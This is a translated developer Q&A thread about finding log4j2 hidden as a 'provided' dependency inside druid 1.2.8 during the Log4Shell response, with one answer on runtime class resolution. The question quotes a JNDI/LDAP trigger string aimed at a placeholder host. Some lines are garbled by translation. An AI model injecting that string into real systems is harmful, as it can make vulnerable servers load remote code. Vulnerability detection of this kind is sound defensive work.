12月10日，在log4j2中发现了一个严重漏洞（CVE-2021-44228），我被要求检测所有log4j用法（包括直接和传递）（大多数是Maven项目）。我发现很容易检测到log4j2是否被列为直接依赖项。我可以通过mvn dependency:tree或mvn dependency:build-classpath检查它们。我知道这也是Eclipse Steady和OWASP正在使用的方法。
我的公司：我的应用程序：v1.0
您可以使用以下命令来编译日志文件：
但是，在一些特殊的情况下，事情就没有那么容易了，比如我还有一个这样的项目：
我的公司：我的应用程序2：v1.0
- -com.alibaba-
这看起来很干净，对吧？但实际上，log4j2在druid 1.2.8中被列为“provided”依赖项。检查pom here。根据maven文档，“provided”作用域是不可传递的，因此log4j没有列在树中。
但实际上，它就在那里，我可以在这个druid:1.2.8里面找到log4j的函数调用。
请在此处检查：log4j2 in druid
我还使用soot来确保这个函数实际上是可访问的。
根据这个page，任何像${jndi:ldap://example.com/a}这样的字符串都可能导致这样的问题，所以理论上druid:1.2.8是被感染的。
实际树可能是这样的
我的公司：我的应用程序2：v1.0 - -com.alibaba-
日志文件：日志文件核心：jar文件：2.13.3：已提供
让我们将log4j和my-app2之间的关系定义为 * 可传递的“提供的”依赖关系*
我的问题是：
1.为什么maven没有在树中列出传递性提供的依赖关系？只是为了更好地理解依赖关系。
1.如果不手动逐个检查pom，我们如何解决 transitive provided dependency？
1条答案
按热度按时间xxls0lw81#
Java中的类和方法解析发生在运行时，即第一次引用类或方法时。如果链接的代码在类路径上没有
Logger或LogManager的情况下运行，这将导致抛出错误。如果实际上没有使用它，例如，如果它必须以某种方式手动配置，那么这完全没有问题。另请注意，
Logger和LogManager都是log4j-api依赖项的一部分，而受此漏洞影响的代码位于log4j-core中。依赖log4j-api应该是完全正确的，并且有一些项目（如log4j-to-slf 4j）实现了此api，并将实际日志记录委托给不同的实现。